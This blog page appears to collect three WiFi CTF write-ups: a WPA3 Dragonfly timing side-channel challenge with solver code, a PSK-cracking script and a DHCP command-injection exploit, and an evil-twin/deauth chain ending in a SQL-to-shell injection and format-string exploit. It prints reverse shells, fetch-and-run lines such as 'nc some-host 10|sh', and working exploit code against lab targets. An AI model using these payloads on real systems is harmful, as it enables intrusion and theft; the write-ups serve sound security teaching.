Skip to main content

3 posts tagged with "ctf"

View All Tags

· 7 min read

Midnight Sun Qualifiers 2024

Over the weekend a ctf team I help with, HackingForSoju, hosted the Midnight Sun CTF Qualifiers. The finals will take place in Stockholm, Sweden on June 14-16.

I put together a challenge around WPA3's Password Authenticated Key Exchange: Dragonfly

WPA3 has quite a few notes during our our wifi training where we discuss the background to the protocol, because it was so very worrisome from the start.

trouble

A Troubled PAKE

In 2013, when Dan Harkins first proposed Dragonfly many people pointed out that it was inferior to existing PAKEs. Arguably it did not steer clear of existing patents, its performance was quite bad, and very objectively it suffered terribly from sidechannels. It does not take great skill to spot them.

There's an IETF thread thread sums it up here. Trevor Perrin, who is behind the Double Ratchet in Signal designed with Moxie Marlinspike, sums up what cryptographers saw.

In response, Dan Harkins goes on the offensive with personal attacks, saying several things of this nature:

>
> It makes little sense to use a 1024-bit FFC group in any circumstances
> because (pardon me, Kevin) - fuck the NSA.

That certainly is a fashionable pose to strike these days!

But I brought up binding a 1024-bit FFC to a password because that's
what an RFC with your name on it does. So it makes sense to replace
"the NSA" in your sentence with "Trevor Perrin".

-- Dan Harkins

When the designer of a security algorithm finds it acceptable to behave this way, and the decision makers rubber stamp their actions, we should probably take a step back as a society and ask if irrational people should be the ones solving and creating the math problems that our security relies on.

So when the WiFi consortium used Dragonfly for WPA3 in 2018, many people were actually surprised, since they assumed Dragonfly would never make its way into widespread usage.

Dragonblood

As WPA3 entered the ecosystem, security experts started looking. In 2019 the world's leading wifi security expert, Mathy Vanhoef, with Eyal Ronen, demolished Dragonfly https://wpa3.mathyvanhoef.com. Many of the attacks were the same as initially outlined by Trevor Perrin as well as many other cryptographers in 2013.

The team also invented some novel mechanisms to attack Brainpool curves in particular. They proved that the hardening attempts with computing random values would provide statistical anomalies detectable by calculating timing variance.

What's even worse, under EAP-PWD (dragonfly with enterprise wifi), they found that implementaitons also accepted invalid curves, bypassing the password altogether.

Hardening was added to eliminate the remaining sidechannels.

The CTF Challenge

The qualifier's challenge celebrates these timing failures. Players had to remotely exploit a python implementation of Dragonfly that had the initial hardening only (always running 40 rounds).

The key insight is that the KDF for dragonfly is malleable based on the client's MAC address. Providing different MAC addresses creates unique timing signatures for a given AP MAC address and Password Shared Key.

The timing signature can then be compared offline against a password list to find the real password. With a vulnerable implementation this timing sidechannel is actually a lot more effective to exploit than cracking WPA2 keys which are protected with PBKDF2.

The easiest timing differences to exploit are that lines [2] and [3] only happen sometimes.

def initiate(self, other_mac, k=40):
"""
See algorithm in https://tools.ietf.org/html/rfc7664
in section 3.2.1
"""
self.other_mac = other_mac
found = 0
num_valid_points = 0
counter = 1
n = self.p.bit_length()

# Find x
while counter <= k:
base = self.compute_hashed_password(counter)
temp = self.key_derivation_function(n, base, b'Dragonfly Hunting And Pecking')
if temp >= self.p:
counter = counter + 1 [1]
continue
seed = temp
val = self.curve.secure_curve_equation(seed) [2]
if self.curve.secure_is_quadratic_residue(val): [3]
if num_valid_points < 5:
x = seed
save = base
found = 1
num_valid_points += 1
logger.debug('Got point after {} iterations'.format(counter))

counter = counter + 1

if found == 0:
logger.error('No valid point found after {} iterations'.format(k))
return False
elif found == 1:
# https://crypto.stackexchange.com/questions/6777/how-to-calculate-y-value-from-yy-mod-prime-efficiently
# https://rosettacode.org/wiki/Tonelli-Shanks_algorithm
y = tonelli_shanks(self.curve.curve_equation(x), self.p)

PE = Point(x, y)

# check valid point
assert self.curve.curve_equation(x) == pow(y, 2, self.p)

self.PE = PE
assert self.curve.valid(self.PE)
return True

To expand the timing window, so that players from around the world can exploit this remotely over TCP, many more multiplications were added through a "masking" operation where random values are computed alongside the real one at random, raising their cost to hundreds of milliseconds.

def secure_curve_equation(self, x):
"""
Do not leak hamming weights to power analysis
"""
idx = secrets.randbelow(self.dN)
defense = self.defense_masks + []
defense[idx] = x
for i in range(self.dN):
tmp = defense[idx]
defense[i] = self.curve_equation(defense[idx])
return defense[idx]


def secure_is_quadratic_residue(self, x):
"""
Do not leak hamming weights to power analysis
"""
idx = secrets.randbelow(self.dN)
defense = self.defense_masks + []
defense[idx] = x
for i in range(self.dN):
defense[i] = self.is_quadratic_residue(defense[i])
return defense[idx]

In practice this is good enough for several teams to attack the service simultaneously.

To effectively precompute passwords, an attacker can create an offline dictionary that only hashes and skips the large number math.

def initiate(self, other_mac, k=40):
self.other_mac = other_mac
counter = 1
counter2 = 1
n = self.p.bit_length()

# Find x
while counter <= k:
base = self.compute_hashed_password(counter)
temp = self.key_derivation_function(n, base, b'Dragonfly Hunting And Pecking')
if temp >= self.p:
counter = counter + 1
continue
counter2 += 1
counter = counter + 1
return counter2

The provided challenge also had a terrible way to convert a binary number which really slowed things down, and also had an off by one error probably.

# Convert returned_bits to the non-negative integer c (see Appendix C.2.1).
C = 0
for i in range(n):
if int(binary_repr[i]) == 1:
C += pow(2, n-i)

versus

X = int(binary_repr, 2)<<1

My solution normalized the remote timings to compare them with the offline compute.

def normalize_array(arr):
"""Normalize an array to be between 0 and 1."""
return (arr - arr.min()) / (arr.max() - arr.min())

def calc_mse(psk, timings, guess_timings):
y_actual = normalize_array(np.array(timings))
y_predicted = normalize_array(np.array(guess_timings))
mse = np.mean((y_actual - y_predicted) ** 2)
return mse

def solve_psk_fast(ap_mac, my_macs, timings):
computed = open("compute.txt","rb").readlines()
psk = None
best_mse = 100
for line in computed:
p, tmp = line.split(b"|")
p = p.strip().decode()
guess_timings = json.loads(tmp.strip())
mse = calc_mse(p, timings, guess_timings)
if mse < best_mse:
print("new best",mse,p)
best_mse = mse
psk = p
print(psk)
return psk

During the CTF the services were overwhelmed by naive solutions, so we ended up scaling it up, but it was a little bit frustrating for some teams at times. In the future we'll have to put remote timing attempts behind a queue and/or proof of work.

To make the challenge harder, teams were also given a second variant with a larger keyspace. Instead of 60k wordlist, they were asked to attack a random 36-alphabet 5 character password. 7 teams solved it. Hats off to the great work, since you understood something Dan Harkins pretended not to when it was explained to him by so many cryptographers.

If you'd like to learn more about these attacks, the Dragonblood paper is the one you'll want.

The up to date constant time implementation of the password element deriviation in hostapd is located here: https://w1.fi/cgit/hostap/tree/src/common/sae.c#n283.

· 10 min read

Editor's note:

The Turtles WiFi challenges are a series of ctf-style problems concerning network and wifi security skills.

The tasks were a bit challenging, and invovled a combination of WiFi Cracking and exploring how WPA Authentication works, against a custom Access point using Salsa20 instead of AES.

Axel Souchet has kindly shared his writeup with us, which we share below.

Turtles: Virtual WiFi Hacking Challenges - March 2023

Introduction

The older I get, the more fascinated I have become with the world surrounding me; I ask myself all the time 'how does this thing work uh 🤔?'. It is both fun and rewarding for me to understand the world a bit better. This is also a great way to be constantly humbled by the magic that surrounds us 🌈

Although I enjoy the process of learning how things work, there are millions of things that I interact with daily, that I know so little about; embarrassing.

Heck, how does WiFi work I thought? Because I know that I learn best by getting my hands dirty, I decided to try to solve a few challenges as an introduction. That is why I decided to check-out the March Turtle challenge 🙂

If you want to play at home, you can find the challenges on Github and one the SPR website:

You can participate either directly from your browser via an impressive emulated Linux environment or you can self-host the challenge by cloning the turtles-march-2023 repository and follow the instructions. I chose to self-host the challenges as it made it easier to debug for me.

Warmups

All right, enough blah blah and let's get warmed up. In that part of the challenge, we are asked to extract data off two packet captures: turtle0.pcap & turtle0.5.pcap.

For the first capture, we need to extract a PSK that looks like the following: turtle{x}, great. Because we don't have more details regarding the PSK's shape itself, it is fair to assume that the authors want us to use a wordlist attack instead of trying to bruteforce it.

I grabbed the famous rockyou wordlist and I wrote a small Python script to format prepend / append turtle{} as this is what the PSK will look like.

with open('rockyou-turtle.txt', 'w', encoding='utf8') as fout:
with open('rockyou.txt', 'r', encoding='utf8', errors='replace') as fin:
for line in fin.readlines():
line = line.strip()
fout.write(f'turtle{{{line}}}\n')
print('Done')

Then, I ran aircrack-ng with the new wordlist against turtle0.pcap with the following command: $ aircrack-ng turtle0.pcap -w rockyou-turtle.txt.

After a few minutes, a valid key was found: turtle{power}, great!

                        Aircrack-ng 1.6

[00:00:01] 3200/2465175 keys tested (5273.73 k/s)

Time left: 7 minutes, 46 seconds 0.13%

KEY FOUND! [ turtle{power} ]


Master Key : 11 8C 23 85 2D 5F 7E AC DE 8C 85 B0 CB 80 02 5F
CA 48 34 DF CE 2D 2A 7C 3C 01 4B A8 14 B7 2D E1

Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 6B D2 F8 71 7F E5 D8 5E 5B 68 FE 53 0A 28 9D 4E

The next challenge says that there is data to be decrypted inside turtle0.5.pcap. Both the station and the AP use the 4-way handshake to derive various keys that are used to encrypt traffic. We cracked a PSK in the previous step, so we can open the packet capture into Wireshark and let it decrypt the traffic for us. Follow Wireshark's HowToDecrypt802.11 article to know how to do that.

Once decrypted, there is a PING request with a flag in its payload: turtle{deecoded}, awesome.

Step 1

Okay warmups done, time to have a look at the real challenges. For this step, the authors ask for us to crack another PSK from another packet capture of a handshake. We also have the source code of a custom AP.

I initially threw turtle1-handshake.pcap at aircrack-ng with the rockyou-turtle.txt wordlist but no valid key was found, bummer. I thought it was possible that this key was part of another famous wordlist so I downloaded a bunch of them, but ... same. Weird.

I learned more about the 4-way handshake to understand how both the station & AP derive the keys needed to transmit / verify encrypted frames. Because the handshake was captured from a custom AP, it made sense to me that maybe aircrack-ng didn't understand the handshake properly and missed PSK.

I decided to implement the attack on my own. I used the MIC code that is sent by the AP in the 3rd message to verify if a candidate is valid or not (on top of the nonces/macs in the first / second messages). We have the entire EAPOL packet so we can compute the MIC code ourselves and verify if it matches the one sent by the AP. If it does, it means we have found a valid PSK 🤤

I ran the script against the turtleified rockyou wordlist, and eventually (it's slow!) found a valid PSK candidate: turtle{excellent} 🔥

# Axel '0vercl0k' Souchet - April 15 2023
# WIN w/ b'turtle{excellent}'
import hashlib
import hmac
from scapy.all import *

class EAPOL_KEY(Packet):
name = 'EAPOL_KEY'
fields_desc = [
ByteEnumField('key_descriptor_type', 1, {1: 'RC4', 2: 'RSN'}),
BitField('reserved2', 0, 2),
BitField('smk_message', 0, 1),
BitField('encrypted_key_data', 0, 1),
BitField('request', 0, 1),
BitField('error', 0, 1),
BitField('secure', 0, 1),
BitField('has_key_mic', 1, 1),
BitField('key_ack', 0, 1),
BitField('install', 0, 1),
BitField('key_index', 0, 2),
BitEnumField('key_type', 0, 1, {0: 'Group/SMK', 1: 'Pairwise'}),
BitEnumField('key_descriptor_type_version', 0, 3, {
1: 'HMAC-MD5+ARC4',
2: 'HMAC-SHA1-128+AES-128',
3: 'AES-128-CMAC+AES-128',
0x20: 'SALSA20-HMAC'
}),
LenField('key_length', None, 'H'),
LongField('key_replay_counter', 0),
XStrFixedLenField('key_nonce', b'\x00'*32, 32),
XStrFixedLenField('key_iv', b'\x00'*16, 16),
XStrFixedLenField('key_rsc', b'\x00'*8, 8),
XStrFixedLenField('key_id', b'\x00'*8, 8),
XStrFixedLenField('key_mic', b'\x00'*16, 16),
LenField('wpa_key_length', None, 'H'),
ConditionalField(
XStrLenField('key', b'\x00'*16,
length_from=lambda pkt: pkt.wpa_key_length),
lambda pkt: pkt.wpa_key_length and pkt.wpa_key_length > 0)
]


def customPRF512(key, amac, smac, anonce, snonce):
"""Source https://stackoverflow.com/questions/12018920/"""
A = b"Pairwise key expansion"
B = b"".join(sorted([amac, smac]) + sorted([anonce, snonce]))
num_bytes = 64
R = b''
for i in range((num_bytes * 8 + 159) // 160):
R += hmac.new(key, A + chb(0x00) + B + chb(i), hashlib.sha1).digest()
return R[:num_bytes]

def calc(pwd):
amac = bytes.fromhex('02:00:00:00:00:00'.replace(':', ''))
smac = bytes.fromhex('02:00:00:00:01:00'.replace(':', ''))
anonce = bytes.fromhex(
'7338c25bf9d1bba6a8dea56e87bb8b6a2e3f658be7ba8173c6ab58991e648e5f')
snonce = bytes.fromhex(
'82ce083ab0cdb46f1ae0cc94a922cdf7ca742bf130396996f92be706cca62a25')
PMK = hashlib.pbkdf2_hmac('sha1', pwd, b'turtle1', 4_096, 32)
KCK = customPRF512(PMK, amac, smac, anonce, snonce)[:16]
keydata = bytes.fromhex('ace914ed4b7bf2b638b81c841bd3ab67561681d57591496ff93465d173c04f911679a118fb7f9590faef7fe21aa5c82d8bc746b190ea84e1')
assert len(keydata) == 56
ek = EAPOL(version='802.1X-2004',type='EAPOL-Key') / EAPOL_KEY(
key_descriptor_type=2, key_descriptor_type_version=2, install=1, key_type=1, key_ack=1,\
has_key_mic=1, secure=1, encrypted_key_data=1, key_replay_counter=2, \
key_nonce=anonce, key_length=16, key=keydata, wpa_key_length=len(keydata)
)
return hmac.new(KCK, ek.build(), hashlib.sha1).digest()[:16]

def main():
wanted = bytes.fromhex('7235448e1b056108e40ff429ad3545ab')
assert len(wanted) == 16
with open('rockyou-turtle.txt', 'r', encoding='utf8') as fin:
for line in fin.readlines():
candidate = line.strip().encode()
c = calc(candidate)
assert len(c) == 16
if c == wanted:
print(f'WIN w/ {candidate}')
return
print('Done')

if __name__ == '__main__':
main()

Step 2

All right, final step. In this step, we are given another custom AP's source code and we need to break in. How exciting uh?

For this step, I set-up an environment to debug and interact with the AP. I created a regular Hyper-V Ubuntu VM (note that this won't work from WSL2) and ran the two containers with the below commands:

over@bubuntu:~/turtles-march-2023$ sudo docker compose up -d
[sudo] password for over:
Starting t1_ap ... done
Starting t1_start ... done

over@bubuntu:~/turtles-march-2023$ sudo ./setup.sh

At that stage, you can log-in into both containers with the following commands:

over@bubuntu:~/turtles-march-2023$ sudo docker exec -it t1_start bash
over@bubuntu:~/turtles-march-2023$ sudo docker exec -it t1_ap bash

t1_ap is the container that runs the AP and t1_start is where you can run a client and send packets to the AP. This is cool because you don't need any physical Wifi device to play in this environment!

One of the keys that is derived during the 4-way handshake is meant to be shared by every station; kind of a group key. My understanding is that it is used to send broadcast-like packets to every station. In the AP, it turns out this key is a constant: turtle{everyone gets a shell :)} 😬

After reading the code carefully, it is clear that there you don't need to be associated with the AP to send a packet encrypted with this group key. This is particularly interesting because we don't have knowledge of the PSK which means we wouldn't be able to complete the 4-way handshake. In a normal AP, the GTK is shared in an encrypted frame and it isn't a constant / isn't known by an attacker (and is rotated every time a station disconnects).

Finally, an attacker can trigger a shell command injection when the AP parses a DHCP offer packet:

def reply_dhcp_offer(self, incoming):
# ...
for o in incoming[DHCP].options:
# Log hostname for DNS revers lookup
if o[0] == 'hostname':
cmd = "echo %s %s.lan >> hostnames.txt" % (dest_ip, o[1].decode("ascii"))
os.system(cmd )

At this point we have every ingredients to break into the AP and execute arbitrary shell commands by sending a specially crafted DHCP offer packet encrypted with the GTK 🔥; here's my code that can be run from t1_start:

# Axel '0vercl0k' Souchet - April 11 2023
from scapy.all import *
from salsa20 import Salsa20
from itertools import count
import hmac
import hashlib
import struct

gtk_full = b'turtle{everyone gets a shell :)}'
GTK = gtk_full[:16]
MIC_AP_TO_GROUP = gtk_full[16:24]
group_IV = count()

def encrypt(pkt):
data = pkt.build()
pn = next(group_IV)
aad_calc = hmac.new(MIC_AP_TO_GROUP, data, hashlib.sha1).digest()[:16]
key = GTK
cipher = Salsa20(key, struct.pack('>Q', pn))
payload = cipher.encrypt(data) + aad_calc
pn0 = pn & 0xff
pn1 = (pn>>8) & 0xff
pn2 = (pn>>16) & 0xff
pn3 = (pn>>24) & 0xff
return Dot11CCMP(data=payload, ext_iv=1, key_id=1, PN0 = pn0, PN1=pn1, PN2=pn2, PN3=pn3)

def main():
# root@0c0b905e70eb:/# iw dev
# phy#0
# Interface mon0
# ifindex 2
# wdev 0x2
# addr 02:00:00:00:00:00
# type monitor
# txpower 20.00 dBm
# Interface wlan0
# ifindex 50
# wdev 0x1
# addr 02:00:00:00:00:00
# type managed
# txpower 20.00 dBm
ap = '02:00:00:00:00:00'
# root@29a50eeb6fb5:/x# iw dev
# phy#1
# Interface wlan1
# ifindex 51
# wdev 0x100000001
# addr 02:00:00:00:01:00
# type managed
# txpower 20.00 dBm
station = '02:00:00:00:01:00'
cmd = 'id; ls /'
inner_pkt = Ether(src=station) / IP() / UDP(dport=67) / BOOTP(op=1) / DHCP(options=[
('hostname', f'; {cmd} #'),
])
receiver = ap
sender = station
bssid = ap
pkt = RadioTap() / Dot11(addr1=receiver, addr2=sender, addr3=bssid, FCfield='to-DS+protected') / encrypt(inner_pkt)
pkt.show()
os.system('iw dev wlan1 interface add mon1 type monitor 2>/dev/null')
sendp(pkt, iface = 'mon1', verbose = True)

if __name__ == '__main__':
main()

Thanks again to SPR, the challenge authors for putting out free educational content, you guys rock 👏🏽✊🏽

· 9 min read

Editor's note:

The Turtles WiFi challenges are a series of ctf-style problems concerning network and wifi security skills. We first ran a challenge in this style at Stockholm's Midnight Sun CTF Finals in August '22 at the Turtles MidnightSun Finals. You can play along with January's challenge, with the github repository.

January's winner, Amy from Ret2 Systems, has kindly let us share their challenge writeup. Congratulations! And thanks again for putting this writeup together.

February's contest will be released on the 20th and we will be giving out more raspberry pis!

Intro

We find ourselves in a twisting maze of WLANs. There are 5 machines connected across several WLAN networks. We start as root on the first machine and must move laterally across the network to exfiltrate 3 flag files. From our box we can connect to an access point with the SSID "jan-turtle1".

Flag 1

Our first target is also connected to the "jan-turtle1" AP over WPA3. We can assume that the target may be doing something interesting over this network, so performing a MitM attack may be fruitful. To pull this off we can use the so-called "Evil Twin Attack" where we impersonate the AP.

First we need to set up our own AP with the same SSID and configuration as the existing "jan-turtle1" AP. I used hostapd to do this with the following config:

interface=wlan2
driver=nl80211
hw_mode=a
channel=40
ssid=jan-turtle1
wpa=2
wpa_key_mgmt=SAE
wpa_pairwise=CCMP
ap_isolate=1
sae_password=sn0wt0rt0ise
ip addr add dev wlan2 192.168.1.1/24
hostapd -B /root/h.conf

Once we have the AP up and running, clients looking for the real "jan-turtle1" AP may connect to our malicious AP instead. However the target is already connected to the existing AP, so it won't attempt to reconnect to our AP.

Luckily we can force it off of the original AP by abusing deauthentication packets. If we send these packets with a spoofed target address, we cause the target to disconnect. Once the client has disconnected, there is a chance that they will reconnect to our malicious access point. We can use aireplay-ng to perform this attack on a second WLAN:

ip link set dev wlan3 up
yes | airmon-ng start wlan3 40
# Start deauth on target MAC
aireplay-ng -0 10 -a 02:00:00:00:00:00 -c 02:00:00:00:01:00 wlan3mon &
# tcpdump -i wlan2 -v
06:09:53 Waiting for beacon frame (BSSID: 02:00:00:00:00:00) on channel 40
06:09:53 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00
tcpdump: listening on wlan2, link-type EN10MB (Ethernet), snapshot length 262144 bytes
06:10:01.225272 02:00:00:00:01:00 (oui Unknown) > Broadcast Null Unnumbered, xid, Flags [Response], length 6: 01 00
06:10:08.879191 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.1 tell 192.168.1.2, length 28
06:10:08.879228 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.1 is-at 02:00:00:00:02:00 (oui Unknown), length 28
08:35:14.868587 IP (tos 0x0, ttl 64, id 18623, offset 0, flags [DF], proto TCP (6), length 60)
192.168.1.2.49070 > 192.168.1.1.http: Flags [S], cksum 0x27e2 (correct), seq 547073709, win 64240, options [mss 1460,sackOK,TS val 3350547164 ecr 0,nop,wscale 7], length 0
06:10:08.879473 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
192.168.1.1.http > 192.168.1.2.49070: Flags [R.], cksum 0x9d34 (correct), seq 0, ack 547073710, win 0, length 0

Looks like there is a unencrypted HTTP request! Lets host our own http server using python:

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)
192.168.1.2 - - [15/Feb/2023 06:17:06] "GET /install.sh HTTP/1.1" 404 -
192.168.1.2 - - [15/Feb/2023 06:17:16] code 404, message File not found

If we create our own install.sh, it looks like the box will run it! Lets get a reverse shell

bash -i >& /dev/tcp/192.168.1.1/1337 0>&1

Nice, we captured the first flag!

Listening on 0.0.0.0 1337
Connection received on 192.168.1.2 47550
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
root@2d419af9c243:/# cat flag1.txt
turtles{0f004d8e004f4577952eda915426eac38f4df6b4}
root@2d419af9c243:/#

Flag 2

For the second stage, we are given a binary named wardriver which is running on the second target. This binary has two main features. First it used iw dev <dev> scan to collect information on all near by access points.

int getData() {
__snprintf_chk(command, 256LL, 1LL, 256LL, "iw dev %s scan", (const char *)IFACE);
if ( fopen("scan.txt", "r") )
strcpy(command, "cat scan.txt");
v0 = popen(command, "r");
insert(v0);
...
sqlite3_exec(v7, v8, 0LL, 0LL);
}
__int64 __fastcall insert(...) {
...
__snprintf_chk(
v8, 256LL, 1LL, 256LL,
"INSERT INTO wifis VALUES(%d, '%s', '%s', '%s');",
_id, bss_str, ssid_str, signal_str,
);
}

If we create an malicious AP, the SSID will be formatted into this INSERT command. We can use this to perform an SQL insert injection into the database, allowing us to control any field of a new entry to the wifis table.

Next we look at the second functionality. The binary will periodically dump values from the table and send them as data using a curl command:

__int64 dump() {
...
v0 = sqlite3_exec(v3, "SELECT * FROM wifis", callback, 0LL);
...
}
__int64 __fastcall callback(...) {
...
if ( bss_str && signal_str ) {
__snprintf_chk(
command, 128LL, 1LL, 128LL,
"curl %s --data \"{\\\"bss\\\": \\\"%s\\\", \\\"signal\\\": \\\"%s\\\"}\"",
"http://127.0.0.1:8080/logs",
bss_str, signal_str);
system(command);
return 0LL;
}
return 1LL;
}

We can see that there is no sanitization of the bss or signal columns when formatted into the command. We can trigger command injection here by creating a malicious wifi entry using the SQL injection in the previous function. The length of command injection in the SSID is limited, so I fetched a second stage from a remote host. Here is the hostapd config with the SQL injection payload:

interface=wlan4
driver=nl80211
hw_mode=a
channel=48
ssid=',''),(2,'`nc some-host 9|sh`','
wpa=2
wpa_key_mgmt=SAE
wpa_pairwise=CCMP
ap_isolate=1
sae_password=shred_the_gnar_pow

After a few seconds the wardriver picks up our AP and we get a connect back on the second target!

$ nc -l 1338 -v
Listening on 0.0.0.0 1338
Connection received on 192.168.1.2 58580
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
root@b976e8a2f52b:/# cat flag2.txt
cat flag2.txt
turtles{f0c03d9e242a89f1df51e5da9a833750398fe989}
root@b976e8a2f52b:/#

Flag 3

For the final target, we need to exploit an SOAP Server running on the second AP. Our second target box is already authenticated to the AP, so we can easily talk to the server directly.

Decompiling the binary, we see that it is a simple HTTP server which implements a few parts of the SOAP protocol. We can perform a some actions such as listing the server uptime or date.

The first bug I found was in an error handler. This handler uses the http_response function to build a response with HTTP code 400. However for the body pointer, it mistakenly passes a void** pointer instead of a char* ptr. This will leak the address of the soap_action function as well as a stack address in the body of the 400 response.

int __cdecl http_response(...) {
fprintf(stream, "HTTP/1.1 %d %s\r\n", a2, a3);
fwrite("Server: OS/Version UPnP/1.0 product/version", 1u, 0x2Bu, stream);
fwrite("Content-Type: text/html\r\n", 1u, 0x19u, stream);
fwrite("Connection: close\r\n", 1u, 0x13u, stream);
fwrite("\r\n", 1u, 2u, stream);
fprintf(stream, "<HTML><HEAD><TITLE>%d %s</TITLE></HEAD>\n<H4>%d %s</H4>\n", a2, a3, a2, a3);
...
}
unsigned int __cdecl handle_client(int fd) {
void* __soap_action_ = soap_action;
char *v7;
char buf[2048];
v7 = &buf;
if ( _isoc99_sscanf(...) ) {
...
__soap_action(steam);
} else {
http_response(stream, 400, "Invalid request", (const char *)&__soap_action_)
}
}

We can trigger this leak with the following code:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

sock.sendall(b'ENDEND a\n')
leak = (sock.recv(4096).split(b'request</H4>\n',1)[1]
.split(b'ENDEND',1)[0].ljust(8,b'\0'))
text_leak = u32(leak[:4])
stack_leak = u32(leak[4:])

sock.close()

Looking closer at the string functions being used, there are several buffer overflows from calls to sprintf and strcpy. However almost all of these are protected by stack-cookies. Luckily there is a single case where a pointer lays between a buffer and the stack-cookie:

__int64 __cdecl soap_response(...) {
char dest[2048];
char src[2048];
char* format_str;
unsigned int cookie;
...
format_str = "%s";
...
sprintf(&src[off], "%s", sub_action);
...
sprintf(&src[off], format_str, action);
}

Since we are able to buffer overflow src using the first sprintf call, we can smash the format_str ptr. This allows point format_str at our own data on the stack (using the leak from earlier), giving us an arbitrary format string vulnerability.

We can easily exploit the format string by using the %123$hhn syntax. This syntax will write the number of bytes printed so far as a uint8_t at a given offset on the stack. This is very handy as we can use it to surgically corrupt a return pointer without messing with the stack-cookie.

At this point we can control the EIP register, but we still need to actually get code execution. There is an easy way to do this by abusing the calls to system in the binary. We can partially corrupt the return address to point it to the following address in the binary:

.text:00001A76                 call    system
.text:00001A7B add esp, 10h
.text:00001A7E sub esp, 8

The first argument of system will be the next value pointed to by ESP, which just so happens to be our format string from before. We can simply prepend our format string exploit with a command to run!

# Prep return byte overwrite targets
g1 = 0x76
g2 = ((text_leak & 0xf000) >> 8) + 0xa

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

pl = b'post / a\nSOAPAction: '
pl += b'numberwang#wangernum42'

# Place write targets on the stack
pl += p32(target_stack_ret)
pl += p32(target_stack_ret+1)
# Padding
pl += b'EEEE'
pl += b'FFFF'
pl += b'A'*(1824-4*4)
# Smash format ptr
pl += p32(stack_leak)
pl += b'\n\n'

# Command to run in system
fmt = 'nc some-host 10|sh;#'

# Format string exploit
fmt += f'%{g1-len(fmt)}c'+'%592$hhn'+f'%{g2-g1}c'+'%593$hhn'
pl += fmt.encode('latin-1')

sock.sendall(pl)

With this exploit ready to go, we can run it from the second target box. Once the exploit lands we are greeted with our last reverse shell and get the last flag!

$ nc -l 1339 -v
Listening on 0.0.0.0 1339
Connection received on 192.168.1.2 14253
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
root@21fbbf871fa0:/# cat flag3.txt
turtles{c14583540ce6a34f73cb04d964aff18415916fae}
root@21fbbf871fa0:/#

Editor's note:

Challenge 3 is based on a flaw the Supernetworks team exploited in preparation for December's pwn2own contest against the Netgear RAX30. Oddly enough: the soapd binary has FORTIFY_SOURCE enabled, yet still has some stray sprintfs, and does in fact store the format string on the stack like that, for unclear reasons.